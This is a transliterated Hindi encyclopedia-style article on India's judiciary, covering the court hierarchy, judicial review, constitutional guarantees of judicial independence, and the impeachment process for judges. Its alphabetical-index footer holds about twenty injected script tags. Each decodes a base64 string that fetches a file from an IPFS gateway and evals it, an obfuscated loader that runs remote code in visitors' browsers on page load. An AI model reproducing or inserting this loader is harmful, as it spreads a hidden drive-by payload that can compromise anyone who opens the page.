न्यायपालिका

prajatantr ki nirantarata ke lie avashyak hai ki, rajy ki shaktiyoan ka vibhajan karyapalika, vidhayika tatha nyayapalika ke madhy kiya jae. bharat mean sanvidhan dvara sanvaidhanik prajatantr ki sthapana ki gayi hai, jisamean shaktiyoan ka vibhajan n keval karyatmak drishti se balki bhaugolik drishti se bhi kiya gaya hai. karyatmak drishti se shakti ka vibhajan vidhayika, karyapalika tatha nyayapalika ke madhy kiya gaya hai.

vibhinn nyayalay tatha ayog

bharat ki nyayapalika ekikrit prakar ki hai, jisake shirsh par uchchatam nyayalay sthapit hai. uchchatam nyayalay ko antim nyay-nirnayan ka adhikar prapt hai. pratyek rajy ya kuchh samooh par uchch nyayalay gathit hai. uchch nyayalay ke tahat shrenibaddh adhinasth nyayalay haian. kuchh rajyoan mean panchayat nyayalay ka bhi gathan kiya gaya hai. ye nyayalay alag-alag namoan yatha–nyay panchayat, panchayat adalat, gram kachahari adi se kam karate haian. pratyek rajy mean zila staroan par zila nyayalay sthapit kiye gaye haian. isake adhyaksh zila evan satr nyayadhish hote haian, jo ki zile ka sarvochch nyayik adhikari hota hai. zila nyayalay mool adhikar kshetr ke pramukh divani nyayalay hote haian. in nyayalayoan mean mrityudand diye ja sakane vale aparadhoan tak ki sunavaee hoti hai. isake adhin divani nyayalay hota hai, jise vibhinn rajyoan mean muansif nyayalay kaha jata hai. faujadari nyayalayoan mean mukhy nyayik majistret hote haian. in sabake atirikt desh mean vibhinn adhikaran tatha ayog bhi sthapit kiye gaye haian, jo ki paramparik nyayalay bhale hi n hoan, parantu ve vidhik prakriya dvara anek vivadoan ko hal karane mean sakriy bhoomika nibhate haian.

bharatiy sanvidhan ki rakshika

yadyapi bharat mean ianglaiannd ki sansadiy shasan pranali ke adhar par sansadiy sarakar ki sthapana ki gayi hai. lekin ianglaiannd, jahaan sansadiy sarvochchata ko manyata di gayi hai, ke viparit bharat mean sanvidhan ki sarvochchata ke siddhant ko svikar kiya gaya hai. bharat mean sanvidhan ko desh ki maulik vidhi mana jata hai aur yah kendr tatha rajy sarakaroan ki rajanitik satta ka srot tatha nagarikoan ke adhikaroan evan kartavyoan ka nirdharak hai. uchchatam nyayalay sanvidhan ka rakshak hai aur yah sarakar dvara ya kisi any shakti dvara sanvidhan ke pravadhanoan ke ullanghan ko rokata hai. bharat ke sanvidhan dvara uchchatam nyayalay tatha uchch nyayalayoan ko nyayik punarvilokan ka adhikar pradan kiya gaya hai, jisake dvara ye nyayalay kendr tatha rajy sarakaroan dvara banaye gaye qanoonoan ki sanvaidhanikata ka parikshan karate haian. yadi is parikshan ke parinamasvaroop koee qanoon, jo vidhayika ke dvara karyapalika dvara nirmit ho, sanvidhan ke kisi pravadhan ke viruddh paya jata hai, to nyayal use amany kar sakate haian. is prakar bharat mean vidhayika ya karyapalika keval unhian vishayoan par qanoon bana sakati haian, jo ki sanvidhan dvara unhean sauanpe gaye haian aur yadi ve isake viparit qanoon ka nirman karate haian, to nyayalay aise qanoon ko asanvaidhanik nirnit kar usako pravartit kiye jane se rok sakati hai.

svatantr nyayapalika ki sthapana ke karan

bharat mean svatantr nyayapalika ki sthapana ke nimnalikhit karan the–

bharat ka sanvidhan likhit hai, jisamean kendr tatha rajyoan ki sarakaroan ke madhy shaktiyoan ka spasht vibhajan hua hai. is vibhajan ko spasht karana svabhavik hai, jisake lie svatantr nyayapalika ki sthapana karake sanvidhan ki vyakhya karane ka adhikar use diya gaya hai.
sanvidhan mean kendr tatha rajyoan ke madhy shaktiyoan ka spasht vibhajan kiya gaya hai, lekin in donoan ke madhy vivad utpann ho sakate haian. in vivadoan ko nyayik dhang se nibatane ke lie svatantr nyayapalika ki avashyakata thi.
sanvidhan ke bhag 3 mean vyaktiyoan tatha nagarikoan ko kuchh mool adhikar pratyabhoot kiye gaye haian. vidhayika evan karyapalika par yah pratibandh adhiropit kiya gaya hai ki ve aisa qanoon n banayean, jo mooladhikaroan ka ullanghan karean. svatantr nyayapalika ki sthapana karake yah dayitv us par sauanpa gaya ki yadi rajyoan dvara mooladhikaroan ko ullanghan kiya jata hai, to vah mooladhikaroan ko pravartit karaye. is prakar nyayapalika mooladhikaroan ki rakshak hai.

svatantrata se sambandhit sanvaidhanik pravadhan

bharat mean nyayapalika ko svatantr roop se kary karane ka avasar pradan karane ke lie sanvidhan mean kuchh aise pravadhan kiye gaye haian, jisase nyayadhishoan ko vidhanamandaloan ya karyapalika ke pratyaksh prabhav se mukt rakha ja sake. sanvidhan mean nyayapalika ki svatantrata ke lie nimnalikhat pravadhan kiye gaye haian–

uchchatam nyayalay tatha uchch nyayalay ke nyayadhishoan ko niyukt karane ka adhikar rashtrapati ko diya gaya hai. lekin nyayadhishoan ko pad se hatane ka adhikar rashtrapati ko prapt nahian hai. sanvidhan ke anusar in nyayalayoan ke kisi bhi nyayadhish ko rashtrapati tab tak padamukt nahian kar sakata hai, jab tak sansad ke donoan sadan apane sadasyoan ke bahumat tatha upasthit evan matadan karane vale sadasyoan ke do tihaee bahumat se kisi nyayadhish ko padamukt karane ka prastav parit kar dean. padamukt karane ki is prakriya ke karan yah sambhavana kam ho jati hai, ki kisi nyayadhish ko rajanitik karanoan ya daliy adhar par asani se padamukt kiya ja sake.
yadyapi uchchatam nyayalay tatha uchch nyayalayoan ke nyayadhishoan ko rashtrapati mantriparishad ki salah se niyukt karata hai, lekin in nyayalayoan ke nyayadhishoan ki niyukti ko rajaniti ke kshetr se alag karake yah apeksha ki gayi hai ki rashtrapati nyayadhishoan ko niyukt karate samay bharat ke mukhy nyayadhish se sampark karean. 16 aktoobar, 1993 ko uchchatam nyayalay dvara diye gaye nirnayoan ke anusar nyayadhishoan ko niyukt karate samay rashtrapati ko bharat ke mukhy nyayadhish ki ray ko variyata dena chahie aur yadi kisi karan se bharat ke mukhy nyayadhish ki ray ko variyata n di jae, to us karan ki soochana mukhy nyayadhish ko di jani chahie.
nyayapalika ki svatantrata ko surakshit karane ke lie sanvidhan mean yah pravadhan karake nyayadhishoan ko arthik sanrakshan pradan kiya gaya hai ki nyayadhishoan ke vetan tatha seva shartoan adi ka nirdharan sansad dvara kiya jaega, lekin kisi bhi nyayadhish ke vetan tatha seva shartoan adi mean usake padavadhi ke dauran koee aisa parivartan nahian kiya jaega, jisase use hani ho. isaka tatpary yah hai ki nyayadhishoan ke vetan tatha seva shartoan adi mean parivartan karane ki dhamaki dekar unase koee ichchhit kary nahian karaya ja sakata.
sanvidhan ke anusar uchchatam nyayalay tatha uchch nyayalay ke nyayadhish padamukt hone ke bad sarakar ke adhin kisi pad ko grahan nahian kar sakate haian, ya adhinasth nyayalayoan mean vakalat nahian kar sakate haian. padamukt hone ke bad is prakar ke niyojan ki asha se apratyaksh roop se nyayadhish ki svatantrata kam hoti hai aur vah karyapalika ke asar mean a jata hai. lekin is sanvaidhanik pravadhan ka adhikatar ullanghan kiya gaya hai aur padamukt nyayadhishoan ko mantri, rajyapal, rajadoot, ayog ke adhyaksh tatha vishesh nyayadhikaranoan ke adhyaksh padoan par niyukt kiya gaya hai. udaharan ke lie bhootapoorv nyayadhish si. si. vishvas ko 1950 mean mantri, padamukt nyayadhish saiyad phajal ali ko 1952 mean u disa ka rajyapal, bhootapoorv nyayadhish bi. en. rav ko 1948 mean sanyukt rashtr sangh ka sthayi pratinidhi, 1948 mean hi bhootapoorv nyayadhish varadachari ko ayakar jaanch adhikaran ka adhyaksh tatha mumbee uchch nyayalay ke bhootapoorv nyayadhish em. si. chhagala ko rajadoot, uchchayukt tatha kendriy mantri pad par niyukt kiya gaya tha.
uchchatam nyayalay tatha uchch nyayalay ka apana prithakh sansthapan hota hai, jisake lie karmachariyoan ki niyukti tatha unaki seva shartean adi ko nirdharit karane ka adhikar sambandhit nyayalayoan ko hota hai. is svatantrata ke karan sarakar ya sansad nyayalayoan ke sansthapan ke sambandh mean hastakshep nahian kar sakati haian. isake atirikt in nyayalayoan ko apani antarik prakriya ko bhi viniyamit karane ka adhikar hai.
nyayalayoan ki svatantrata ko sunishchit karane ke lie sanvidhan mean yah pravadhan bhi kiya gaya hai ki uchchatam nyayalay ya uchch nyayalay ke prashasanik vyay aur in nyayalayoan mean karyarat nyayadhishoan aur any karmachariyoan ko vetan, bhatte adi bharat ki sanchit nidhi se diye jayeange aur sansad un par matadan nahian kar sakati.
uchchatam nyayalay ya uchch nyayalay ke nyayadhishoan ko rajanitik prabhav se mukt rakhane ke lie sanvidhan mean yah pravadhan kiya gaya hai ki in nyayalayoan ke nyayadhishoan ke acharan ke vishay mean sansad mean koee charcha us nyayadhish ko hatane ke samavedan ko rashtrapati ke samaksh prastut karane ke prastav par hi hogi aur anyatha nahian.

nyayalay ki svatantrata ke lie sanvidhan dvara pravadhan keval saiddhantik haian aur karyapalika ya vidhayika dvara is svatantrata ka ullanghan nimnalikhit prakar se kiya gaya hai–

nyayalay dvara diye gaye nirnay ke prabhav ko samapt karane ke lie adhyadesh jari karake ya vidhi nirman karake,
nyayalay dvara kisi qanoon ko asanvaidhanik ghoshit kiye jane par sanvidhan mean sanshodhan karake,
nyayadhishoan ki niyukti mean rajanitik prabhav ko variyata dekar tatha
uchch nyayalayoan ke nyayadhishoan ko sthanantarit karake.

nyayadhishoan ko hatane ke lie mahabhiyog prakriya

uchchatam nyayalay tatha uchch nyayalay ke nyayadhishoan ko unake pad se hatane ke lie sanvidhan mean anuchchhed 124(4) mean pravadhan kiya gaya hai. is pravadhan ko 'mahabhiyog' kaha gaya hai. isake anusar kisi nyayadhish ko usake pad se tab tak nahian hataya jaega, jab tak kadachar ya asamarthata ke adhar par aise hatae jane ke lie sansad ke pratyek sadan dvara apani kul sankhya ke bahumat dvara tatha upasthit aur mat dene vale sadasyoan ke kam se kam do tihaee bahumat dvara tatha samarthit samavedan rashtrapati ke samaksh usi satr mean rakhe jane par rashtrapati ne adesh nahian de diya hai. sanvidhan ke dvara sansad ko yah adhikar diya gaya hai ki vah kisi nyayadhish ke viruddh sansad ke samaksh samavedan ke rakhe jane ki tatha nyayadhish ke kadachar ya asamarthata ki jaanch aur sabit karane ki prakriya ka vidhi dvara viniyaman kar sakati hai. sansad ne is adhikar ka prayog karake nyayadhish (jaanch) adhiniyam 1968 ko adhiniyamit kiya hai. is adhiniyam ki dhara 3 mean nyayadhishoan ke viruddh samavedan rakhane ki prakriya vihit ki gayi hai.

is samavedan ke anusar kisi nyayadhish ko usake pad se hatane ke lie lokasabha mean kam se kam 100 ya rajyasabha ke kam se kam 50 sadasyoan ke dvara rashtrapati ko sambodhit ek prastav lokasabha adhyaksh ya rajyasabha ke sabhapati ko diya jana chahie. kam se kam 100 sadasyoan dvara lokasabhadhyaksh ko notis diya jana chahie. lokasabhadhyaksh usake sath sanlagn tathyoan ka parishilan karane ke bad yah nirnay karata hai ki vah nyayadhish ko padamukt karane ki maang ko svikar kare ya nirast kare. yadi lokasabhadhyaksh nyayadhish ko padamukt karane ki notis ko svikar karata hai, to vah nyayadhish ke viruddh lagaye gaye aropoan ki jaanch ke lie tin sadasyiy samiti ka gathan karata hai. is samiti mean ek uchchatam nyayalay ke nyayadhish, doosara kisi bhi uchch nyayalay ke mukhy nyayadhi tatha tisara aise vyakti, jo ki lokasabhadhyaksh ki ray mean prasiddh nyayavidh ho, ko shamil kiya jata hai. yadi yah samiti apani riport mean nyayadhish par lagaye gaye aropoan ki abhipushti kar deti hai to adhyaksh us riport ko vichararth sansad ke samaksh rakhata hai. yadi sansad do tihaee bahumat se nyayadhish ko hatane ka prastav parit kar deti hai to rashtrapati nyayadhish ko usako pad se hatane ka adesh parit kar sakata hai. lekin rashtrapati ke is adesh ki samiksha uchchatam nyayalay kar sakata hai.

ab tak uchchatam nyayalay ke ek matr nyayadhish nyayoorti vi. ramasvami ko pad se hatane ke lie mee, 1993 mean sansad mean mahabhiyog ki karravaee chali thi, lekin yah karravaee avashyak bahumat ke abhav mean saphal n ho saki.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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